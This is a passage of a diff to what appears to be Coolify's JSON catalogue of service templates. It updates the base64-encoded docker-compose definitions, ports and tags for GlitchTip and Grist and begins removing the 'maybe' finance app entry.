0LnNoCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVNRTDokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU1FMQHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU1FMX0RBVEFCQVNFOi1nbGl0Y2h0aXB9JwogICAgICAtIFNFQ1JFVF9LRVk9JFNFUlZJQ0VfQkFTRTY0XzY0X0VOQ1JZUFRJT04KICAgICAgLSAnRU1BSUxfVVJMPSR7RU1BSUxfVVJMOi1jb25zb2xlbWFpbDovL30nCiAgICAgIC0gJ0dMSVRDSFRJUF9ET01BSU49JHtTRVJWSUNFX0ZRRE5fR0xJVENIVElQfScKICAgICAgLSAnREVGQVVMVF9GUk9NX0VNQUlMPSR7REVGQVVMVF9GUk9NX0VNQUlMOi10ZXN0QGV4YW1wbGUuY29tfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9BVVRPU0NBTEU9JHtDRUxFUllfV09SS0VSX0FVVE9TQ0FMRTotMSwzfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEPSR7Q0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEOi0xMDAwMH0nCiAgICB2b2x1bWVzOgogICAgICAtICd1cGxvYWRzOi9jb2RlL3VwbG9hZHMnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gb2sKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIG1pZ3JhdGU6CiAgICBpbWFnZTogZ2xpdGNodGlwL2dsaXRjaHRpcAogICAgcmVzdGFydDogJ25vJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGNvbW1hbmQ6ICcuL21hbmFnZS5weSBtaWdyYXRlJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVNRTDokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU1FMQHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU1FMX0RBVEFCQVNFOi1nbGl0Y2h0aXB9JwogICAgICAtIFNFQ1JFVF9LRVk9JFNFUlZJQ0VfQkFTRTY0XzY0X0VOQ1JZUFRJT04KICAgICAgLSAnRU1BSUxfVVJMPSR7RU1BSUxfVVJMOi1jb25zb2xlbWFpbDovL30nCiAgICAgIC0gJ0RFRkFVTFRfRlJPTV9FTUFJTD0ke0RFRkFVTFRfRlJPTV9FTUFJTDotdGVzdEBleGFtcGxlLmNvbX0nCiAgICAgIC0gJ0NFTEVSWV9XT1JLRVJfQVVUT1NDQUxFPSR7Q0VMRVJZX1dPUktFUl9BVVRPU0NBTEU6LTEsM30nCiAgICAgIC0gJ0NFTEVSWV9XT1JLRVJfTUFYX1RBU0tTX1BFUl9DSElMRD0ke0NFTEVSWV9XT1JLRVJfTUFYX1RBU0tTX1BFUl9DSElMRDotMTAwMDB9Jwo=",
+ "slogan": "GlitchTip is a error tracking system.",
+ "compose": "c2VydmljZXM6CiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTUUx9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTH0nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNRTF9EQVRBQkFTRTotZ2xpdGNodGlwfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2dsaXRjaHRpcC1wb3N0Z3Jlcy1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICByZWRpczoKICAgIGltYWdlOiByZWRpcwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gcGluZwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgd2ViOgogICAgaW1hZ2U6ICdnbGl0Y2h0aXAvZ2xpdGNodGlwOjYuMCcKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fR0xJVENIVElQXzgwMDAKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzOi8vJFNFUlZJQ0VfVVNFUl9QT1NUR1JFU1FMOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTUUxAcG9zdGdyZXM6NTQzMi8ke1BPU1RHUkVTUUxfREFUQUJBU0U6LWdsaXRjaHRpcH0nCiAgICAgIC0gU0VDUkVUX0tFWT0kU0VSVklDRV9CQVNFNjRfNjRfRU5DUllQVElPTgogICAgICAtICdFTUFJTF9VUkw9JHtFTUFJTF9VUkw6LWNvbnNvbGVtYWlsOi8vfScKICAgICAgLSAnR0xJVENIVElQX0RPTUFJTj0ke1NFUlZJQ0VfRlFETl9HTElUQ0hUSVB9JwogICAgICAtICdERUZBVUxUX0ZST01fRU1BSUw9JHtERUZBVUxUX0ZST01fRU1BSUw6LXRlc3RAZXhhbXBsZS5jb219JwogICAgICAtICdDRUxFUllfV09SS0VSX0FVVE9TQ0FMRT0ke0NFTEVSWV9XT1JLRVJfQVVUT1NDQUxFOi0xLDN9JwogICAgICAtICdDRUxFUllfV09SS0VSX01BWF9UQVNLU19QRVJfQ0hJTEQ9JHtDRUxFUllfV09SS0VSX01BWF9UQVNLU19QRVJfQ0hJTEQ6LTEwMDAwfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3VwbG9hZHM6L2NvZGUvdXBsb2FkcycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSBvawogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgd29ya2VyOgogICAgaW1hZ2U6ICdnbGl0Y2h0aXAvZ2xpdGNodGlwOjYuMCcKICAgIGNvbW1hbmQ6IC4vYmluL3J1bi1jZWxlcnktd2l0aC1iZWF0LnNoCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVNRTDokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU1FMQHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU1FMX0RBVEFCQVNFOi1nbGl0Y2h0aXB9JwogICAgICAtIFNFQ1JFVF9LRVk9JFNFUlZJQ0VfQkFTRTY0XzY0X0VOQ1JZUFRJT04KICAgICAgLSAnRU1BSUxfVVJMPSR7RU1BSUxfVVJMOi1jb25zb2xlbWFpbDovL30nCiAgICAgIC0gJ0dMSVRDSFRJUF9ET01BSU49JHtTRVJWSUNFX0ZRRE5fR0xJVENIVElQfScKICAgICAgLSAnREVGQVVMVF9GUk9NX0VNQUlMPSR7REVGQVVMVF9GUk9NX0VNQUlMOi10ZXN0QGV4YW1wbGUuY29tfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9BVVRPU0NBTEU9JHtDRUxFUllfV09SS0VSX0FVVE9TQ0FMRTotMSwzfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEPSR7Q0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEOi0xMDAwMH0nCiAgICB2b2x1bWVzOgogICAgICAtICd1cGxvYWRzOi9jb2RlL3VwbG9hZHMnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gb2sKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIG1pZ3JhdGU6CiAgICBpbWFnZTogJ2dsaXRjaHRpcC9nbGl0Y2h0aXA6Ni4wJwogICAgcmVzdGFydDogJ25vJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGNvbW1hbmQ6ICcuL21hbmFnZS5weSBtaWdyYXRlJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVNRTDokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU1FMQHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU1FMX0RBVEFCQVNFOi1nbGl0Y2h0aXB9JwogICAgICAtIFNFQ1JFVF9LRVk9JFNFUlZJQ0VfQkFTRTY0XzY0X0VOQ1JZUFRJT04KICAgICAgLSAnRU1BSUxfVVJMPSR7RU1BSUxfVVJMOi1jb25zb2xlbWFpbDovL30nCiAgICAgIC0gJ0RFRkFVTFRfRlJPTV9FTUFJTD0ke0RFRkFVTFRfRlJPTV9FTUFJTDotdGVzdEBleGFtcGxlLmNvbX0nCiAgICAgIC0gJ0NFTEVSWV9XT1JLRVJfQVVUT1NDQUxFPSR7Q0VMRVJZX1dPUktFUl9BVVRPU0NBTEU6LTEsM30nCiAgICAgIC0gJ0NFTEVSWV9XT1JLRVJfTUFYX1RBU0tTX1BFUl9DSElMRD0ke0NFTEVSWV9XT1JLRVJfTUFYX1RBU0tTX1BFUl9DSElMRDotMTAwMDB9Jwo=",
"tags": [
"error",
"tracking",
- "open-source",
- "self-hosted",
"sentry"
],
"category": "monitoring",
"logo": "svgs/glitchtip.png",
"minversion": "0.0.0",
- "port": "8080"
+ "port": "8000"
},
"glpi": {
"documentation": "https://help.glpi-project.org/documentation?utm_source=coolify.io",
@@ -1893,7 +1891,7 @@
"grist": {
"documentation": "https://support.getgrist.com/?utm_source=coolify.io",
"slogan": "Grist is a modern relational spreadsheet. It combines the flexibility of a spreadsheet with the robustness of a database.",
- "compose": "c2VydmljZXM6CiAgZ3Jpc3Q6CiAgICBpbWFnZTogJ2dyaXN0bGFicy9ncmlzdDpsYXRlc3QnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fR1JJU1RfNDQzCiAgICAgIC0gJ0FQUF9IT01FX1VSTD0ke1NFUlZJQ0VfRlFETl9HUklTVH0nCiAgICAgIC0gJ0FQUF9ET0NfVVJMPSR7U0VSVklDRV9GUUROX0dSSVNUfScKICAgICAgLSAnR1JJU1RfRE9NQUlOPSR7U0VSVklDRV9GUUROX0dSSVNUfScKICAgICAgLSAnVFo9JHtUWjotVVRDfScKICAgICAgLSAnR1JJU1RfU1VQUE9SVF9BTk9OPSR7U1VQUE9SVF9BTk9OOi1mYWxzZX0nCiAgICAgIC0gJ0dSSVNUX0ZPUkNFX0xPR0lOPSR7Rk9SQ0VfTE9HSU46LXRydWV9JwogICAgICAtICdDT09LSUVfTUFYX0FHRT0ke0NPT0tJRV9NQVhfQUdFOi04NjQwMDAwMH0nCiAgICAgIC0gJ0dSSVNUX1BBR0VfVElUTEVfU1VGRklYPSR7UEFHRV9USVRMRV9TVUZGSVg6LSAtIFN1ZmZpeH0nCiAgICAgIC0gJ0dSSVNUX0hJREVfVUlfRUxFTUVOVFM9JHtISURFX1VJX0VMRU1FTlRTOi1iaWxsaW5nLHNlbmRUb0RyaXZlLHN1cHBvcnRHcmlzdCxtdWx0aUFjY291bnRzLHR1dG9yaWFsc30nCiAgICAgIC0gJ0dSSVNUX1VJX0ZFQVRVUkVTPSR7VUlfRkVBVFVSRVM6LWhlbHBDZW50ZXIsYmlsbGluZyx0ZW1wbGF0ZXMsY3JlYXRlU2l0ZSxtdWx0aVNpdGUsc2VuZFRvRHJpdmUsdHV0b3JpYWxzLHN1cHBvcnRHcmlzdH0nCiAgICAgIC0gJ0dSSVNUX0RFRkFVTFRfRU1BSUw9JHtERUZBVUxUX0VNQUlMOi10ZXN0QGV4YW1wbGUuY29tfScKICAgICAgLSAnR1JJU1RfT1JHX0lOX1BBVEg9JHtPUkdfSU5fUEFUSDotdHJ1ZX0nCiAgICAgIC0gJ0dSSVNUX09JRENfU1BfSE9TVD0ke1NFUlZJQ0VfRlFETl9HUklTVH0nCiAgICAgIC0gJ0dSSVNUX09JRENfSURQX1NDT1BFUz0ke09JRENfSURQX1NDT1BFUzotb3BlbmlkIHByb2ZpbGUgZW1haWx9JwogICAgICAtICdHUklTVF9PSURDX0lEUF9TS0lQX0VORF9TRVNTSU9OX0VORFBPSU5UPSR7T0lEQ19JRFBfU0tJUF9FTkRfU0VTU0lPTl9FTkRQT0lOVDotZmFsc2V9JwogICAgICAtICdHUklTVF9PSURDX0lEUF9JU1NVRVI9JHtPSURDX0lEUF9JU1NVRVI6P30nCiAgICAgIC0gJ0dSSVNUX09JRENfSURQX0NMSUVOVF9JRD0ke09JRENfSURQX0NMSUVOVF9JRDo/fScKICAgICAgLSAnR1JJU1RfT0lEQ19JRFBfQ0xJRU5UX1NFQ1JFVD0ke09JRENfSURQX0NMSUVOVF9TRUNSRVQ6P30nCiAgICAgIC0gJ0dSSVNUX1NFU1NJT05fU0VDUkVUPSR7U0VSVklDRV9SRUFMQkFTRTY0XzEyOH0nCiAgICAgIC0gJ0dSSVNUX0hPTUVfSU5DTFVERV9TVEFUSUM9JHtIT01FX0lOQ0xVREVfU1RBVElDOi10cnVlfScKICAgICAgLSAnR1JJU1RfU0FOREJPWF9GTEFWT1I9JHtTQU5EQk9YX0ZMQVZPUjotZ3Zpc29yfScKICAgICAgLSAnQUxMT1dFRF9XRUJIT09LX0RPTUFJTlM9JHtBTExPV0VEX1dFQkhPT0tfRE9NQUlOU30nCiAgICAgIC0gJ0NPTU1FTlRTPSR7Q09NTUVOVFM6LXRydWV9JwogICAgICAtICdUWVBFT1JNX1RZUEU9JHtUWVBFT1JNX1RZUEU6LXBvc3RncmVzfScKICAgICAgLSAnVFlQRU9STV9EQVRBQkFTRT0ke1BPU1RHUkVTX0RBVEFCQVNFOi1ncmlzdC1kYn0nCiAgICAgIC0gJ1RZUEVPUk1fVVNFUk5BTUU9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdUWVBFT1JNX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1RZUEVPUk1fSE9TVD0ke1RZUEVPUk1fSE9TVH0nCiAgICAgIC0gJ1RZUEVPUk1fUE9SVD0ke1RZUEVPUk1fUE9SVDotNTQzMn0nCiAgICAgIC0gJ1RZUEVPUk1fTE9HR0lORz0ke1RZUEVPUk1fTE9HR0lORzotZmFsc2V9JwogICAgICAtICdSRURJU19VUkw9JHtSRURJU19VUkw6LXJlZGlzOi8vcmVkaXM6NjM3OX0nCiAgICAgIC0gJ0dSSVNUX0hFTFBfQ0VOVEVSPSR7U0VSVklDRV9GUUROX0dSSVNUfS9oZWxwJwogICAgICAtICdHUklTVF9URVJNU19PRl9TRVJWSUNFX0ZRRE49JHtTRVJWSUNFX0ZRRE5fR1JJU1R9L3Rlcm1zJwogICAgICAtICdGUkVFX0NPQUNISU5HX0NBTExfVVJMPSR7RlJFRV9DT0FDSElOR19DQUxMX1VSTH0nCiAgICAgIC0gJ0dSSVNUX0NPTlRBQ1RfU1VQUE9SVF9VUkw9JHtDT05UQUNUX1NVUFBPUlRfVVJMfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2dyaXN0LWRhdGE6L3BlcnNpc3QnCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIG5vZGUKICAgICAgICAtICctZScKICAgICAgICAtICJyZXF1aXJlKCdodHRwJykuZ2V0KCdodHRwOi8vbG9jYWxob3N0Ojg0ODQvc3RhdHVzJywgcmVzID0+IHByb2Nlc3MuZXhpdChyZXMuc3RhdHVzQ29kZSA9PT0gMjAwID8gMCA6IDEpKSIKICAgICAgICAtICc+IC9kZXYvbnVsbCAyPiYxJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREFUQUJBU0U6LWdyaXN0LWRifScKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICB2b2x1bWVzOgogICAgICAtICdncmlzdF9wb3N0Z3Jlc19kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMjAKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6NycKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2dyaXN0X3JlZGlzX2RhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSBQSU5HCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMjAK",
+ "compose": "c2VydmljZXM6CiAgZ3Jpc3Q6CiAgICBpbWFnZTogJ2dyaXN0bGFicy9ncmlzdDpsYXRlc3QnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fR1JJU1RfODQ4NAogICAgICAtICdBUFBfSE9NRV9VUkw9JHtTRVJWSUNFX0ZRRE5fR1JJU1R9JwogICAgICAtICdBUFBfRE9DX1VSTD0ke1NFUlZJQ0VfRlFETl9HUklTVH0nCiAgICAgIC0gJ0dSSVNUX0RPTUFJTj0ke1NFUlZJQ0VfRlFETl9HUklTVH0nCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICAgIC0gJ0dSSVNUX1NVUFBPUlRfQU5PTj0ke1NVUFBPUlRfQU5PTjotZmFsc2V9JwogICAgICAtICdHUklTVF9GT1JDRV9MT0dJTj0ke0ZPUkNFX0xPR0lOOi10cnVlfScKICAgICAgLSAnQ09PS0lFX01BWF9BR0U9JHtDT09LSUVfTUFYX0FHRTotODY0MDAwMDB9JwogICAgICAtICdHUklTVF9QQUdFX1RJVExFX1NVRkZJWD0ke1BBR0VfVElUTEVfU1VGRklYOi0gLSBTdWZmaXh9JwogICAgICAtICdHUklTVF9ISURFX1VJX0VMRU1FTlRTPSR7SElERV9VSV9FTEVNRU5UUzotYmlsbGluZyxzZW5kVG9Ecml2ZSxzdXBwb3J0R3Jpc3QsbXVsdGlBY2NvdW50cyx0dXRvcmlhbHN9JwogICAgICAtICdHUklTVF9VSV9GRUFUVVJFUz0ke1VJX0ZFQVRVUkVTOi1oZWxwQ2VudGVyLGJpbGxpbmcsdGVtcGxhdGVzLGNyZWF0ZVNpdGUsbXVsdGlTaXRlLHNlbmRUb0RyaXZlLHR1dG9yaWFscyxzdXBwb3J0R3Jpc3R9JwogICAgICAtICdHUklTVF9ERUZBVUxUX0VNQUlMPSR7REVGQVVMVF9FTUFJTDotP30nCiAgICAgIC0gJ0dSSVNUX09SR19JTl9QQVRIPSR7T1JHX0lOX1BBVEg6LXRydWV9JwogICAgICAtICdHUklTVF9PSURDX1NQX0hPU1Q9JHtTRVJWSUNFX0ZRRE5fR1JJU1R9JwogICAgICAtICdHUklTVF9PSURDX0lEUF9TQ09QRVM9JHtPSURDX0lEUF9TQ09QRVM6LW9wZW5pZCBwcm9maWxlIGVtYWlsfScKICAgICAgLSAnR1JJU1RfT0lEQ19JRFBfU0tJUF9FTkRfU0VTU0lPTl9FTkRQT0lOVD0ke09JRENfSURQX1NLSVBfRU5EX1NFU1NJT05fRU5EUE9JTlQ6LWZhbHNlfScKICAgICAgLSAnR1JJU1RfT0lEQ19JRFBfSVNTVUVSPSR7T0lEQ19JRFBfSVNTVUVSOj99JwogICAgICAtICdHUklTVF9PSURDX0lEUF9DTElFTlRfSUQ9JHtPSURDX0lEUF9DTElFTlRfSUQ6P30nCiAgICAgIC0gJ0dSSVNUX09JRENfSURQX0NMSUVOVF9TRUNSRVQ9JHtPSURDX0lEUF9DTElFTlRfU0VDUkVUOj99JwogICAgICAtICdHUklTVF9TRVNTSU9OX1NFQ1JFVD0ke1NFUlZJQ0VfUkVBTEJBU0U2NF8xMjh9JwogICAgICAtICdHUklTVF9IT01FX0lOQ0xVREVfU1RBVElDPSR7SE9NRV9JTkNMVURFX1NUQVRJQzotdHJ1ZX0nCiAgICAgIC0gJ0dSSVNUX1NBTkRCT1hfRkxBVk9SPSR7U0FOREJPWF9GTEFWT1I6LWd2aXNvcn0nCiAgICAgIC0gJ0FMTE9XRURfV0VCSE9PS19ET01BSU5TPSR7QUxMT1dFRF9XRUJIT09LX0RPTUFJTlN9JwogICAgICAtICdDT01NRU5UUz0ke0NPTU1FTlRTOi10cnVlfScKICAgICAgLSAnVFlQRU9STV9UWVBFPSR7VFlQRU9STV9UWVBFOi1wb3N0Z3Jlc30nCiAgICAgIC0gJ1RZUEVPUk1fREFUQUJBU0U9JHtQT1NUR1JFU19EQVRBQkFTRTotZ3Jpc3QtZGJ9JwogICAgICAtICdUWVBFT1JNX1VTRVJOQU1FPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnVFlQRU9STV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdUWVBFT1JNX0hPU1Q9JHtUWVBFT1JNX0hPU1Q6LXBvc3RncmVzfScKICAgICAgLSAnVFlQRU9STV9QT1JUPSR7VFlQRU9STV9QT1JUOi01NDMyfScKICAgICAgLSAnVFlQRU9STV9MT0dHSU5HPSR7VFlQRU9STV9MT0dHSU5HOi1mYWxzZX0nCiAgICAgIC0gJ1JFRElTX1VSTD0ke1JFRElTX1VSTDotcmVkaXM6Ly9yZWRpczo2Mzc5fScKICAgICAgLSAnR1JJU1RfSEVMUF9DRU5URVI9JHtTRVJWSUNFX0ZRRE5fR1JJU1R9L2hlbHAnCiAgICAgIC0gJ0dSSVNUX1RFUk1TX09GX1NFUlZJQ0VfRlFETj0ke1NFUlZJQ0VfRlFETl9HUklTVH0vdGVybXMnCiAgICAgIC0gJ0ZSRUVfQ09BQ0hJTkdfQ0FMTF9VUkw9JHtGUkVFX0NPQUNISU5HX0NBTExfVVJMfScKICAgICAgLSAnR1JJU1RfQ09OVEFDVF9TVVBQT1JUX1VSTD0ke0NPTlRBQ1RfU1VQUE9SVF9VUkx9JwogICAgdm9sdW1lczoKICAgICAgLSAnZ3Jpc3QtZGF0YTovcGVyc2lzdCcKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gbm9kZQogICAgICAgIC0gJy1lJwogICAgICAgIC0gInJlcXVpcmUoJ2h0dHAnKS5nZXQoJ2h0dHA6Ly9sb2NhbGhvc3Q6ODQ4NC9zdGF0dXMnLCByZXMgPT4gcHJvY2Vzcy5leGl0KHJlcy5zdGF0dXNDb2RlID09PSAyMDAgPyAwIDogMSkpIgogICAgICAgIC0gJz4gL2Rldi9udWxsIDI+JjEnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTYnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQVRBQkFTRTotZ3Jpc3QtZGJ9JwogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2dyaXN0X3Bvc3RncmVzX2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAyMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo3JwogICAgdm9sdW1lczoKICAgICAgLSAnZ3Jpc3RfcmVkaXNfZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtIFBJTkcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAyMAo=",
"tags": [
"lowcode",
"nocode",
@@ -1904,7 +1902,7 @@
"category": "productivity",
"logo": "svgs/grist.svg",
"minversion": "0.0.0",
- "port": "443"
+ "port": "8484"
},
"grocy": {
"documentation": "https://github.com/grocy/grocy?utm_source=coolify.io",
@@ -2681,24 +2679,6 @@
"minversion": "0.0.0",
"port": "8065"
},
- "maybe": {
- "documentation": "https://github.com/maybe-finance/maybe?utm_source=coolify.io",
- "slogan": "Maybe, the OS for your personal finances.",
- "compose": "c2VydmljZXM6CiAgbWF5YmU6CiAgICBpbWFnZTogJ2doY3IuaW8vbWF5YmUtZmluYW5jZS9tYXliZTpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdhcHBfc3RvcmFnZTovcmFpbHMvc3RvcmFnZScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9NQVlCRQogICAgICAtIFNFTEZfSE9TVEVEPXRydWUKICAgICAgLSAnUkFJTFNfRk9SQ0VfU1NMPSR7UkFJTFNfRk9SQ0VfU1NMOi1mYWxzZX0nCiAgICAgIC0gJ1JBSUxTX0FTU1VNRV9TU0w9JHtSQUlMU19BU1NVTUVfU1NMOi1mYWxzZX0nCiAgICAgIC0gJ0dPT0RfSk9CX0VYRUNVVElPTl9NT0RFPSR7R09PRF9KT0JfRVhFQ1VUSU9OX01PREU6LWFzeW5jfScKICAgICAgLSAnU0VDUkVUX0tFWV9CQVNFPSR7U0VSVklDRV9CQVNFNjRfNjRfU0VDUkVUS0VZQkFTRX0nCiAgICAgIC0gREJfSE9TVD1wb3